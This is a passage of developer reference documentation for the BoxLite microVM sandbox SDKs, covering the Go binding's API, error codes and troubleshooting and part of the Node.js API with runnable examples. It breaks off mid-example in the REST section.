`WithImageRegistries` | `func(...ImageRegistry) RuntimeOption` | Configure image pull registries | | `Create` | `func(ctx, image string, opts ...BoxOption) (*Box, error)` | Create a box | | `GetOrCreate` | `func(ctx, image string, opts ...BoxOption) (*Box, bool, error)` | Get by name or create; `bool` is `true` when newly created | | `Get` | `func(ctx, idOrName string) (*Box, error)` | Look up an existing box | | `ListInfo` | `func(ctx) ([]BoxInfo, error)` | List all boxes | | `GetInfo` | `func(ctx, idOrName string) (*BoxInfo, error)` | Metadata without building a handle | | `Remove` / `ForceRemove` | `func(ctx, idOrName string) error` | Delete; `ForceRemove` also removes a running box | | `Metrics` | `func(ctx) (*RuntimeMetrics, error)` | Aggregate metrics | | `Images` | `func() (*Images, error)` | Image-management handle (`Pull` / `List` / `Close`) | | `Shutdown` | `func(ctx, timeout time.Duration) error` | Graceful shutdown of every box | | `Close` | `func() error` | Release the runtime | ### `*Box` | Method | Signature | Description | | - | - | - | | `ID` / `Name` | `func() string` | Identifiers | | `Info` | `func(ctx) (*BoxInfo, error)` | Metadata | | `Start` | `func(ctx) error` | Idempotent explicit start | | `Exec` | `func(ctx, name string, arg ...string) (*ExecResult, error)` | Run a command and wait | | `StartExecution` | `func(ctx, name string, args []string, opts *ExecutionOptions) (*Execution, error)` | Lower-level: returns a handle you drive yourself | | `Command` | `func(name string, arg ...string) *Cmd` | Build a command in the shape of `os/exec` | | `Metrics` | `func(ctx) (*BoxMetrics, error)` | Per-box metrics | | `Stop` | `func(ctx) error` | Stop the VM | | `CopyInto` | `func(ctx, hostSrc, guestDst string) error` | Copy a file/dir into the box | | `CopyOut` | `func(ctx, guestSrc, hostDst string) error` | Copy a file/dir out of the box | | `Close` | `func() error` | Release the handle | > **A failed `Exec`/`StartExecution` returns `(nil, err)`.** Check `err` before touching the result — a nil-pointer dereference on the result is a real, reproduced panic if you skip this. ### `*Cmd` (from `Box.Command`) | Method | Signature | Description | | - | - | - | | `Run` | `func(ctx) error` | Run and wait | | `Output` | `func(ctx) ([]byte, error)` | Run and capture stdout | | `CombinedOutput` | `func(ctx) ([]byte, error)` | Run and capture stdout+stderr merged | | `ExitCode` | `func() int` | Exit code after `Run`/`Output`/`CombinedOutput` returns | > **Differs from `os/exec`.** The standard library's `Cmd.Run`/`Output` return a `*exec.ExitError` on a non-zero exit. BoxLite's `Cmd` returns `nil` in that case — read `ExitCode()` yourself, matching `Box.Exec`'s own non-throwing behavior. ### `ExecResult` (from `Exec`) | Field | Type | Description | | - | - | - | | `ExitCode` | `int` | Exit code (0 = success) | | `Stdout` / `Stderr` | `string` | Captured output | ### `*Execution` (from `StartExecution`) / `ExecutionOptions` | Member | Signature | Description | | - | - | - | | `ExecutionOptions.Env` | `map[string]string` | Serialized as a flat `[k0, v0, k1, v1, ...]` array in deterministic key order | | `ExecutionOptions.WorkingDir` | `string` | Empty inherits the container default | | `ExecutionOptions.Timeout` | `time.Duration` | Zero means unbounded | | `ExecutionOptions.TTY` | `bool` | Allocate a pseudo-terminal | | `Write` | `func([]byte) (int, error)` | Write to the process's stdin | | `Wait` | `func(ctx) (int, error)` | Block for the exit code | | `Kill` | `func(ctx) error` | Send SIGKILL | | `Signal` | `func(ctx, sig int) error` | Send an arbitrary signal | | `ResizeTTY` | `func(ctx, rows, cols int) error` | Resize an allocated pseudo-terminal | | `Close` | `func() error` | Release the execution handle | ### Functional options (`BoxOption`) | Option | Signature | Notes | | - | - | - | | `WithName` | `func(string) BoxOption` | — | | `WithCPUs` | `func(int) BoxOption` | vCPUs | | `WithMemory` | `func(int) BoxOption` | MiB | | `WithDiskSize` | `func(int) BoxOption` | GB | | `WithRootfsPath` | `func(string) BoxOption` | Use a prepared rootfs instead of an image | | `WithEnv` | `func(key, value string) BoxOption` | **One pair per call** — call it once per variable, unlike `ExecutionOptions.Env`'s map | | `WithVolume` | `func(hostPath, guestPath string) BoxOption` | Read-write mount | | `WithVolumeReadOnly` | `func(hostPath, guestPath string) BoxOption` | Read-only mount — a **separate option**, not a boolean flag on `WithVolume` | | `WithPort` | `func(PortSpec) BoxOption` | Forward a port | | `WithWorkDir` | `func(string) BoxOption` | Working directory | | `WithEntrypoint` / `WithCmd` | `func(...string) BoxOption` | Override the image's entrypoint/cmd | | `WithNetwork` | `func(NetworkSpec) BoxOption` | Network policy | | `WithSecret` | `func(Secret) BoxOption` | Inject a credential | | `WithAutoPauseInterval` | `func(seconds uint32) BoxOption` | Idle time before AutoPause | | `WithAutoDeleteInterval` | `func(seconds uint32) BoxOption` | `0` keeps the box after `Stop`; `n > 0` deletes after `n` seconds (locally: immediately) | | `WithAutoResumeEnabled` | `func(bool) BoxOption` | Resume-on-access after AutoPause | | `WithAutoRemove` | `func(bool) BoxOption` | **Deprecated** — superseded by `WithAutoDeleteInterval`, which takes precedence when set | | `WithDetach` | `func(bool) BoxOption` | Survive the creating process | | `WithAdvancedOptions` | `func(*AdvancedBoxOptions) BoxOption` | Security hardening; see `AdvancedBoxOptions` below | ### `BoxInfo` | Field | Type | Description | | - | - | - | | `ID` / `Name` / `Image` | `string` | Identifiers | | `State` | `State` (a `string` type) | `"configured"` / `"running"` / `"stopping"` / `"stopped"` are the constants this binding exposes (`StateConfigured` etc.); the underlying core also has `paused` and `failed` states, which can appear as raw strings even without a matching Go constant | | `Running` | `bool` | Convenience flag | | `PID` | `int` | Guest process ID | | `CPUs` / `MemoryMiB` | `int` | Allocated resources | | `AutoPause` / `AutoDelete` | `uint32` | Configured intervals, in seconds | | `AutoResume` | `bool` | — | | `CreatedAt` | `time.Time` | — | ### `RuntimeMetrics` / `BoxMetrics` | Type | Fields | | - | - | | `RuntimeMetrics` | `BoxesCreatedTotal`, `BoxesFailedTotal`, `RunningBoxes` (**no** `Num` prefix, unlike Node's `numRunningBoxes`), `TotalCommandsExecuted`, `TotalExecErrors` | | `BoxMetrics` | `CPUPercent`, `MemoryBytes`, `CommandsExecuted`, `ExecErrors`, `BytesSent`, `BytesReceived`, `CreateDurationMs`, `BootDurationMs`, `NetworkBytesSent`, `NetworkBytesReceived`, `NetworkTCPConns`, `NetworkTCPErrors` | ### Error handling Errors are `*boxlite.Error`, with `.Code` an `ErrorCode` and `.Message` a string; `Error() string` formats both. | Code | Value | Meaning | | - | - | - | | `ErrInternal` | 1 | Internal/unclassified error | | `ErrNotFound` | 2 | Box or resource does not exist | | `ErrAlreadyExists` | 3 | — | | `ErrInvalidState` | 4 | Operation not valid for the box's current state | | `ErrInvalidArgument` | 5 | — | | `ErrConfig` | 6 | — | | `ErrStorage` | 7 | — | | `ErrImage` | 8 | Pull/build failure | | `ErrNetwork` | 9 | — | | `ErrExecution` | 10 | Command failed to start (spawn failure) | | `ErrStopped` | 11 | — | | `ErrEngine` | 12 | VM engine error | | `ErrUnsupported` | 13 | — | | `ErrDatabase` | 14 | — | | `ErrPortal` | 15 | — | | `ErrRpc` / `ErrRpcTransport` | 16 / 17 | — | | `ErrMetadata` | 18 | — | | `ErrUnsupportedEngine` | 19 | — | | `ErrResourceExhausted` | 20 | Disk full / VM slot exhaustion; REST servers return HTTP 429 | | `ErrSessionReaped` | 21 | An interactive session was reaped after disconnect; start a new exec instead of reattaching. REST servers return HTTP 410 | Typed helpers: `IsNotFound(err)` / `IsAlreadyExists(err)` / `IsInvalidState(err)` / `IsStopped(err)`. Verified: a start failure (missing binary) produced ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite: internal error: spawn_failed: ... executable 'definitely-not-a-binary' not found in $PATH (code=1) ``` — `code=1` is `ErrInternal`, not `ErrExecution`; do not assume a spawn failure is always `ErrExecution`. *** ## Troubleshooting ### Nil-pointer dereference after a failed `Exec` See the [Go quickstart](#a-failed-exec-panics-with-a-nil-pointer-dereference) — a start failure returns `(nil, err)`; check `err` first. ### `Cmd.Run`/`Output` return `nil` on a non-zero exit This is intentional and matches `Box.Exec`, but it is the opposite of `os/exec`'s behavior — see the [Go quickstart](#a-non-zero-exit-code-was-not-reported-as-an-error). ### `ld: warning: ignoring duplicate libraries: '-lresolv'` A harmless link-time warning on macOS, reproduced on every build against this SDK; not an error. ### `context deadline exceeded` from `cmd/setup` The one-time native-library download can exceed the tool's internal timeout on a slow connection. Re-running it resumes from whatever was already extracted — see the [Go quickstart](#setup-download-times-out). *** ## Next steps * [Go quickstart](/getting-started/quickstart) for the full install flow and a runnable first program. * [Box types](/manage-sandbox/sandbox-types) and [Manage sandboxes](/manage-sandbox/index) for the capabilities every SDK shares, expressed here as `BoxOption` functional options instead of keyword arguments. ## Go-specific troubleshooting Carried over from the per-language quickstart, which is now one page for all languages. ### Setup download times out ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} boxlite-setup: download failed: tar: context deadline exceeded (Client.Timeout or context cancellation while reading body) ``` `cmd/setup` downloads a large (\~100+ MB) archive under a fixed timeout. On a slow connection this can fail partway through — reproduced on this machine after successfully extracting `libboxlite.a` but before reaching `boxlite.h`. Re-run `go run github.com/boxlite-ai/boxlite/sdks/go/cmd/setup`; it detects the already-extracted files and resumes from there. It succeeded on the fourth attempt in this environment. ### A failed `Exec` panics with a nil-pointer dereference ```text theme={"theme":{"light":"github-light","dark":"github-dark"}} panic: runtime error: invalid memory address or nil pointer dereference ``` A start failure (for example, a missing binary) returns `(nil, err)` from `Exec`, not a `res` with a nonzero `ExitCode`. Always check `err` before reading `res`: ```go theme={"theme":{"light":"github-light","dark":"github-dark"}} res, err := box.Exec(ctx, "definitely-not-a-binary") if err != nil { log.Fatal(err) // res is nil here — do not dereference it } fmt.Println(res.ExitCode) ``` ### A non-zero exit code was not reported as an error `Exec`, `Cmd.Run`, and `Cmd.Output` all return `nil` for `err` when the command itself ran and simply exited non-zero — check `ExitCode` yourself: ```go theme={"theme":{"light":"github-light","dark":"github-dark"}} res, _ := box.Exec(ctx, "sh", "-c", "exit 7") fmt.Println(res.ExitCode) // 7, err was nil ``` # SDK reference Source: https://docs.boxlite.ai/reference/index Exact signatures, types, defaults, and return shapes — one page per language, plus the CLI. One page per language. Each is the complete surface for that SDK: every class, method, parameter, default, return type, and error. Looking for a runnable first example instead? That is the [Quickstart](/getting-started/quickstart). ## In this section `boxlite` — classes, methods, parameters, returns, exceptions. `@boxlite-ai/boxlite` — runtime, box handle, box types, errors. The `boxlite` crate — the Tokio-based core every other SDK binds to. `sdks/go` — a CGO binding over the same core. The C SDK — the post-and-drain callback model in full. `boxlite` on the command line, docker-like. ## Which page do I want? | You are asking | Page | | - | - | | What arguments does this method take? | Your language's page above | | What does it return, and what can it raise? | Your language's page above | | How do I do this from a shell? | [cli](/reference/cli) | | How do I get started at all? | [quickstart](/getting-started/quickstart) | # Node.js SDK reference Source: https://docs.boxlite.ai/reference/nodejs The complete API surface of @boxlite-ai/boxlite: runtime, box handle, box types, errors, metrics, and the errors people hit most. The package is **`@boxlite-ai/boxlite`** — not `boxlite`, not `@boxlite/sdk` — and it is ESM-only, so use `import`, never `require`. ## What the Node.js SDK gives you The BoxLite Node SDK runs untrusted code, crash-prone processes, and browser or desktop automation — all inside a lightweight microVM. Compared with containers, it provides VM-level isolation; compared with traditional VMs, it starts quickly and has a concise API. Typical scenarios: * Safely execute user-submitted code snippets on the server (AI-agent tool execution, online judges, data processing). * Run a real Chromium/Firefox/WebKit for scraping or end-to-end tests, with the main process connecting remotely via Playwright. * Give an AI a virtual desktop it can screenshot, click, and type into. *** ## Prerequisites * The `@boxlite-ai/boxlite` Node package and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). | Requirement | Notes | | - | - | | Optional dependency | Only `BrowserBox` needs `playwright-core >= 1.58.0` (an optional peerDependency) | Install: ```bash theme={"theme":{"light":"github-light","dark":"github-dark"}} # Core SDK npm install @boxlite-ai/boxlite # Required only when connecting to a remote browser via BrowserBox npm install playwright-core ``` > The first run pulls the OCI image (such as `alpine:latest`) from the registry, which requires network access. *** ## Quick Example Minimal path: run one command with `SimpleBox` and clean up automatically afterward. Save the following as `quickstart.mjs`, then run `node quickstart.mjs`. ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} // quickstart.mjs — run: node quickstart.mjs import { SimpleBox } from "@boxlite-ai/boxlite"; async function main() { // Box is created lazily: the image is pulled and the micro-VM started only on the first exec() const box = new SimpleBox({ image: "alpine:latest" }); try { const result = await box.exec("echo", "Hello from BoxLite!"); // Note: a non-zero exit code does not raise; check exitCode yourself if (result.exitCode !== 0) { console.error("command failed:", result.stderr); } else { console.log("stdout:", result.stdout.trim()); } } catch (err) { // Startup failures (no virtualization, image pull failure, etc.) are thrown here console.error("Box runtime error:", err instanceof Error ? err.message : err); } finally { await box.stop(); // autoRemove defaults to true; stopping cleans up } } main(); ``` A more concise form (TypeScript 5.2+ / Node 20+ supports `await using`, which calls `[Symbol.asyncDispose]` automatically): ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} // Requires Node >= 20 and tsconfig target >= ES2022 / explicit resource management enabled import { SimpleBox } from "@boxlite-ai/boxlite"; async function main() { try { await using box = new SimpleBox({ image: "alpine:latest" }); const result = await box.exec("uname", "-a"); console.log(result.stdout.trim()); } catch (err) { console.error("error:", err instanceof Error ? err.message : err); } // Automatically stops and cleans up on scope exit } main(); ``` *** ## Parameters & Returns ### Top-level exports ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} import { // Wrapper-layer Box types (recommended entry points) SimpleBox, CodeBox, BrowserBox, ComputerBox, InteractiveBox, SkillBox, // Runtime and REST JsBoxlite, BoxliteRestOptions, ApiKeyCredential, // Error types BoxliteError, ExecError, TimeoutError, ParseError, // Low-level access getJsBoxlite, getNativeModule, } from "@boxlite-ai/boxlite"; // Constants (DEFAULT_CPUS, SKILLBOX_IMAGE, etc.) are exposed via export * import { DEFAULT_CPUS, DEFAULT_MEMORY_MIB } from "@boxlite-ai/boxlite"; ``` > The runtime class is **`JsBoxlite`**; there is no bare `Boxlite`. In most cases you do not need to use `JsBoxlite` directly — the wrapper layers (`SimpleBox`, etc.) manage a default runtime internally. ### `SimpleBox` — general command execution `new SimpleBox(options?: SimpleBoxOptions)`. The box is created lazily: construction does not start it; the first `exec()` pulls the image and starts the VM. `SimpleBoxOptions` fields: | Field | Type | Required | Default | Notes | | - | - | - | - | - | | `image` | `string` | one of the two | — | OCI image (such as `alpine:latest`). At least one of `image` / `rootfsPath` must be given | | `rootfsPath` | `string` | one of the two | — | A prepared rootfs directory (in place of `image`) | | `cpus` | `number` | no | `undefined` (see note) | CPU cores. When unset, the runtime allocates 1 vCPU | | `memoryMib` | `number` | no | `undefined` (see note) | Memory in MiB. When unset, the runtime allocates 1024 MiB | | `diskSizeGb` | `number` | no | — | Persistent disk size in GB | | `runtime` | `JsBoxlite` | no | built-in default runtime | Reuse a custom runtime | | `name` | `string` | no | auto | Box name | | `autoRemove` | `boolean` | no | `true` | Auto-clean on stop | | `reuseExisting` | `boolean` | no | `false` | Reuse if a same-named box already exists | | `detach` | `boolean` | no | `false` | Survive parent-process exit | | `workingDir` | `string` | no | — | Working directory inside the container | | `env` | `Record` | no | `{}` | Environment variables (an **object**, not an array) | | `volumes` | `{hostPath; guestPath; readOnly?}[]` | no | `[]` | Volume mounts (see section 4.7) | | `ports` | `{hostPort?; guestPort; protocol?; hostIp?}[]` | no | `[]` | Port mappings | | `network` | `NetworkSpec` | no | `{mode:"enabled"}` | Network configuration | | `secrets` | `Secret[]` | no | `[]` | Outbound HTTP(S) secret substitution rules | | `entrypoint` | `string[]` | no | — | Override the image entrypoint | | `cmd` | `string[]` | no | — | Override the image cmd | | `user` | `string` | no | — | User to run as | | `security` | `SecurityOptions` | no | — | Security options (see 4.7) | > **On the `cpus` / `memoryMib` defaults**: when unset, the SDK passes `undefined` and the runtime applies **1 vCPU / 1024 MiB** (`vm_defaults` in `src/boxlite/src/runtime/constants.rs`). The exported constants `DEFAULT_CPUS` / `DEFAULT_MEMORY_MIB` are not part of the creation path — `DEFAULT_MEMORY_MIB` in particular does not match the runtime value, so do not read it as the default. Production code should pass these values explicitly. See [Compute resources](/manage-sandbox/compute-resources). `SimpleBox` methods: | Method | Signature | Sync/async | Notes | | - | - | - | - | | `exec` | `(cmd, ...args) => Promise` | async | Variadic form | | `exec` | `(cmd, args[], env?, options?) => Promise` | async | Array form, `options = {cwd?; user?; timeoutSecs?}` | | `copyIn` | `(hostPath, containerDest, options?) => Promise` | async | Copy into the box | | `copyOut` | `(containerSrc, hostDest, options?) => Promise` | async | Copy out of the box | | `metrics` | `() => Promise` | async | Resource metrics | | `stop` | `() => Promise` | async | Stop | | `getId` | `() => Promise` | async | Get the ID asynchronously | | `getInfo` | `() => Promise` | async | Get info asynchronously | | `info` | `() => JsBoxInfo` | **sync** | Get info (throws if called before creation) | | `id` / `name` / `created` | getter | **sync** | Accessing before creation throws | | `[Symbol.asyncDispose]` | `() => Promise` | async | Supports `await using` | The `ExecResult` returned by `exec`: ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} interface ExecResult { exitCode: number; // 0 = success; a non-zero code does not raise, check it yourself stdout: string; stderr: string; } ``` `exec` with options (array form): ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} import { SimpleBox } from "@boxlite-ai/boxlite"; async function main() { const box = new SimpleBox({ image: "alpine:latest" }); try { // exec(cmd, args[], env, options) const r1 = await box.exec("pwd", [], undefined, { cwd: "/tmp" }); console.log("cwd:", r1.stdout.trim()); // Inject environment variables (env is an object, not an array) const r2 = await box.exec("env", [], { FOO: "bar" }); console.log(r2.stdout); // Per-command timeout (seconds) const r3 = await box.exec("sleep", ["60"], undefined, { timeoutSecs: 5 }); console.log("exit:", r3.exitCode); } catch (err) { console.error(err instanceof Error ? err.message : err); } finally { await box.stop(); } } main(); ``` ### `CodeBox` — Python code sandbox Inherits `SimpleBox` with a fixed image (`CodeBoxOptions` is `Omit`, default image `python:slim`). | Method | Signature | Notes | | - | - | - | | `run` | `(code: string) => Promise` | Run Python code, return stdout | | `runScript` | `(scriptPath: string) => Promise` | Run a host script file | | `installPackage` | `(pkg: string) => Promise` | `pip install ` | | `installPackages` | `(...pkgs: string[]) => Promise` | Install multiple | ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} import { CodeBox } from "@boxlite-ai/boxlite"; async function main() { const codebox = new CodeBox({ memoryMib: 1024 }); try { await codebox.installPackage("requests"); const out = await codebox.run( "import requests; print(requests.get('https://api.github.com/zen').text)" ); console.log(out); } catch (err) { console.error(err instanceof Error ? err.message : err); } finally { await codebox.stop(); } } main(); ``` ### `BrowserBox` — browser automation Inherits `SimpleBox`, default image `mcr.microsoft.com/playwright:v1.58.0-jammy` (bundles chromium/firefox/webkit, Playwright 1.58.0). `BrowserBoxOptions` extends `Omit` and adds: | Field | Type | Default | Notes | | - | - | - | - | | `browser` | `"chromium"\|"firefox"\|"webkit"` | `"chromium"` | Browser type | | `memoryMib` | `number` | `2048` | Memory | | `cpus` | `number` | `2` | CPU | | `port` | `number` | `3000` | Playwright Server host port | | `cdpPort` | `number` | `9222` | CDP/Puppeteer host port | The two connection modes are mutually exclusive (they share forwarded ports): | Method | Signature | Notes | | - | - | - | | `start` | `(timeout?=60) => Promise` | Start the browser | | `playwrightEndpoint` | `(timeout?) => Promise` | Playwright Server WS endpoint (**all browsers**) | | `endpoint` | `(timeout?) => Promise` | Direct CDP (**WebKit not supported**) | Prefer the Playwright Server mode (supports all browsers): ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} // Requires: npm install playwright-core import { BrowserBox } from "@boxlite-ai/boxlite"; import { chromium } from "playwright-core"; async function main() { const box = new BrowserBox({ browser: "chromium" }); try { const ws = await box.playwrightEndpoint(); // returns a ws:// endpoint const browser = await chromium.connect(ws); const page = await browser.newPage(); await page.goto("https://example.com"); console.log(await page.title()); await browser.close(); } catch (err) { console.error(err instanceof Error ? err.message : err); } finally { await box.stop(); } } main(); ``` ### `ComputerBox` — desktop automation Inherits `SimpleBox`, fixed image `lscr.io/linuxserver/webtop:ubuntu-xfce`. `ComputerBoxOptions` is `Omit`, with dedicated defaults: `cpus=2`, `memoryMib=2048`, `guiHttpPort=3000`, `guiHttpsPort=3001`, display 1024x768. | Category | Methods | | - | - | | Ready / display | `waitUntilReady(timeout?=60)`, `screenshot() => Screenshot`, `getScreenSize() => [number, number]` | | Mouse | `mouseMove(x,y)`, `leftClick()`, `rightClick()`, `middleClick()`, `doubleClick()`, `tripleClick()`, `leftClickDrag(sx,sy,ex,ey)`, `cursorPosition() => [number, number]` | | Keyboard | `type(text)`, `key(keySequence)` (xdotool syntax, such as `"ctrl+c"`, `"Return"`) | | Scroll | `scroll(x, y, direction, amount?)` (direction: `"up"` \| `"down"` \| `"left"` \| `"right"`) | `Screenshot`: `{ data: string /* base64 PNG */; width: number; height: number; format: "png" }`. ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} import { ComputerBox } from "@boxlite-ai/boxlite"; async function main() { const desktop = new ComputerBox({ cpus: 4, memoryMib: 4096 }); try { await desktop.waitUntilReady(60); const shot = await desktop.screenshot(); console.log(`screen: ${shot.width}x${shot.height}`); await desktop.mouseMove(100, 200); await desktop.leftClick(); await desktop.type("Hello, World!"); await desktop.key("Return"); // Open http://localhost:3000 in a browser to view the live desktop } catch (err) { console.error(err instanceof Error ? err.message : err); } finally { await desktop.stop(); } } main(); ``` ### `InteractiveBox` / `SkillBox` * **`InteractiveBox`** (PTY interactive terminal): `InteractiveBoxOptions extends SimpleBoxOptions`, and options are **required** at construction. Methods: `start()`, `wait()`, `stop()`, `[Symbol.asyncDispose]`. * **`SkillBox`** (runs AI CLIs such as Claude Code): default image `ghcr.io/boxlite-ai/boxlite-skillbox:0.1.0`, memory 4096, disk 10GB. Methods: `start()`, `stop()`, `waitUntilReady(timeout?=60)`, `call(prompt) => Promise`, `installSkill(skillId) => Promise`. Requires an OAuth token (`CLAUDE_CODE_OAUTH_TOKEN` or a constructor argument). ### Security, network, volumes, ports, secrets `SimpleBoxOptions.security` accepts a `SecurityOptions` object (on the Node side, pass an object directly; there are no preset static methods as in Python): ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} interface SecurityOptions { jailerEnabled?: boolean; seccompEnabled?: boolean; maxOpenFiles?: number; maxFileSize?: number; maxProcesses?: number; maxMemory?: number; maxCpuTime?: number; networkEnabled?: boolean; closeFds?: boolean; } ``` `NetworkSpec`: `{ mode: "enabled" | "disabled"; allowNet?: string[] }`. `mode:"enabled"` with `allowNet` empty/omitted = all outbound allowed; with an array = an allowlist; `mode:"disabled"` removes the network interface. `Secret`: `{ name: string; value: string; hosts?: string[]; placeholder?: string }`. `placeholder` defaults to `` and is replaced with `value` only in outbound HTTP(S) requests matching `hosts`. Volume and port example (`readOnly` is a **boolean**): ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} import { SimpleBox } from "@boxlite-ai/boxlite"; async function main() { const box = new SimpleBox({ image: "alpine:latest", volumes: [ { hostPath: "", guestPath: "/data", readOnly: true }, // read-only ], ports: [{ hostPort: 8080, guestPort: 80 }], network: { mode: "enabled", allowNet: ["example.com"] }, secrets: [ { name: "API_KEY", value: "", hosts: ["api.example.com"] }, ], }); try { const r = await box.exec("ls", "/data"); console.log(r.stdout); } catch (err) { console.error(err instanceof Error ? err.message : err); } finally { await box.stop(); } } main(); ``` ### `JsBoxlite` — runtime (when you need to manage multiple boxes) | Member | Signature | Notes | | - | - | - | | Constructor | `new JsBoxlite(options)` | Custom home dir, etc. | | `JsBoxlite.withDefaultConfig()` | `() => JsBoxlite` | Default configuration (`~/.boxlite`) | | `JsBoxlite.rest(url, credential?)` | `(string, Credential?) => JsBoxlite` | Connect to a remote REST service (see 4.11) | | `create` | `(opts, name?) => Promise` | Create a box | | `getOrCreate` | `(opts, name?) => Promise<{created, box}>` | Get or create | | `get` | `(idOrName) => Promise` | Get a handle | | `getInfo` | `(idOrName) => Promise` | Get info | | `listInfo` | `() => Promise` | List all boxes (newest first) | | `metrics` | `() => Promise` | Runtime metrics | | `remove` | `(idOrName, force?) => Promise` | **Remove on the runtime** (not `box.remove()`) | | `importBox` | `(archivePath, name?) => Promise` | Import an archive | | `shutdown` | `(timeout?) => Promise` | Shut down the runtime | | `close` | `() => void` | **Sync** close | | `images` | getter | Image handle (`pull` / `list`); see 4.10 | > List with `listInfo()` (not `list()`); remove with `runtime.remove(idOrName, force?)` (not `box.remove()`). ### `JsBox` / `JsExecution` (low-level handle and streaming) `JsBoxlite.create()` / `get()` returns a `JsBox`, the low-level box handle. Its `exec()` returns a `JsExecution`, which exposes the raw stdin/stdout/stderr streams — useful for streaming long-running output or feeding interactive input. The high-level `SimpleBox` collects stdout/stderr into strings for you; use `JsExecution` directly only when you need streaming or stdin. `JsBox` methods: | Method | Signature | Notes | | - | - | - | | `info` | `() => JsBoxInfo` | sync | | `exec` | `(cmd, args?, env?, tty?) => Promise` | Execute a command | | `stop` | `() => Promise` | Stop the box | | `metrics` | `() => Promise` | Resource metrics | `JsExecution` methods: | Method | Signature | Notes | | - | - | - | | `id` | `() => Promise` | Execution ID | | `stdin` | `() => Promise` | Get the stdin writer (rejects if stdin is unavailable / already consumed) | | `stdout` | `() => Promise` | Get the stdout reader | | `stderr` | `() => Promise` | Get the stderr reader | | `wait` | `() => Promise` | Wait for completion | | `kill` | `() => Promise` | Send SIGKILL | | `signal` | `(signal: number) => Promise` | Send a POSIX signal (e.g. `signal(15)` for SIGTERM) | | `resizeTty` | `(rows: number, cols: number) => Promise` | Resize the TTY window (TTY-enabled executions only) | `JsExecStdin` — writer for sending input to a running process: | Method | Signature | Notes | | - | - | - | | `write` | `(data: Buffer) => Promise` | Write raw bytes (accepts a `Buffer` or `Uint8Array`) | | `writeString` | `(text: string) => Promise` | Write a UTF-8 string | | `close` | `() => Promise` | Close stdin, signaling EOF (needed by commands such as `tar xf -`) | `JsExecStdout` / `JsExecStderr` — readers for streaming output: | Method | Signature | Notes | | - | - | - | | `next` | `() => Promise` | Read the next line; resolves to `null` at EOF | > **Each stream can only be consumed once.** After iterating to EOF, subsequent `next()` calls return `null`. Acquire each of stdout/stderr exactly once per execution. `JsExecResult` (returned by `wait()`): | Field | Type | Notes | | - | - | - | | `exitCode` | `number` | Process exit code (0 = success) | | `errorMessage` | `string \| undefined` | Diagnostic message when the process died unexpectedly; `undefined` on a normal exit | ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} import { JsBoxlite } from "@boxlite-ai/boxlite"; async function main() { const runtime = JsBoxlite.withDefaultConfig(); const box = await runtime.create({ image: "alpine:latest" }); try { const execution = await box.exec("sh", ["-c", "echo line1; echo line2"]); // A stream can be consumed only once; iterate to EOF const stdout = await execution.stdout(); while (true) { const line = await stdout.next(); if (line === null) break; // EOF console.log(line); } const result = await execution.wait(); console.log("exit code:", result.exitCode); } catch (err) { console.error(err instanceof Error ? err.message : err); } finally { await box.stop(); runtime.close(); } } main(); ``` Writing to stdin: ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} const execution = await box.exec("cat", []); const stdin = await execution.stdin(); await stdin.writeString("hello\n"); await stdin.write(Buffer.from([10])); // a newline byte await stdin.close(); // signal EOF so cat returns const result = await execution.wait(); ``` ### `images` — runtime image management `runtime.images` is a runtime-scoped handle for cache operations. Both methods are async. | Method | Signature | Returns | | - | - | - | | `pull` | `(reference: string) => Promise` | Pull an image and return metadata about the cached result | | `list` | `() => Promise` | List cached images for this runtime | `JsImagePullResult` (from `pull`): | Field | Type | Notes | | - | - | - | | `reference` | `string` | The resolved image reference | | `configDigest` | `string` | The image config digest | | `layerCount` | `number` | Number of layers | `JsImageInfo` (from `list`): | Field | Type | Notes | | - | - | - | | `reference` | `string` | Full image reference | | `repository` | `string` | Repository part of the reference | | `tag` | `string` | Tag part of the reference | | `id` | `string` | Cached image ID | | `cachedAt` | `string` | When it was cached (ISO 8601) | | `sizeBytes` | `number \| undefined` | Total size in bytes, if known | ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} import { JsBoxlite } from "@boxlite-ai/boxlite"; async function main() { const runtime = JsBoxlite.withDefaultConfig(); const pulled = await runtime.images.pull("alpine:latest"); console.log(pulled.reference, pulled.configDigest, pulled.layerCount); const images = await runtime.images.list(); for (const image of images) { console.log(image.repository, image.tag, image.id); } runtime.close(); } main(); ``` ### Remote BoxLite server (REST) and the routing prefix Connect to a remote BoxLite server instead of the local runtime. `JsBoxlite.rest` takes a single `BoxliteRestOptions` bag — not `(url, credential)` positionally. ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} import { ApiKeyCredential, BoxliteRestOptions, JsBoxlite } from "@boxlite-ai/boxlite"; const rt = JsBoxlite.rest( new BoxliteRestOptions({ url: "http://localhost:8100", credential: new ApiKeyCredential(""), // TODO: replace }), ); const boxes = await rt.listInfo(); // Env discovery -- returns null when BOXLITE_API_KEY is unset: const cred = ApiKeyCredential.fromEnv(); const rt2 = JsBoxlite.rest(new BoxliteRestOptions({ url: "http://localhost:8100", credential: cred ?? undefined })); ``` `ApiKeyCredential` structurally satisfies the exported `Credential` interface, so functions can type their parameter as `Credential` and accept any future credential kind without a signature change. **Routing prefix (vendor-agnostic).** Box-scoped requests resolve to `{url}/v1/{pathPrefix}/…`. The `v1` segment is hardcoded; `pathPrefix` is an opaque, deployment-defined routing value that the server tells the client to use, surfaced as `Principal.path_prefix` from `GET /v1/me`. Its semantics are vendor-specific: BoxLite cloud uses it for the organization ID; another deployment may use a workspace name, a region+team pair, or any other multi-segment value such as `us-east/team-42`. ```typescript theme={"theme":{"light":"github-light","dark":"github-dark"}} import { JsBoxlite, BoxliteRestOptions, ApiKeyCredential } from "@boxlite-ai/boxlite"; const rt = JsBoxlite.rest(new BoxliteRestOptions({ url: 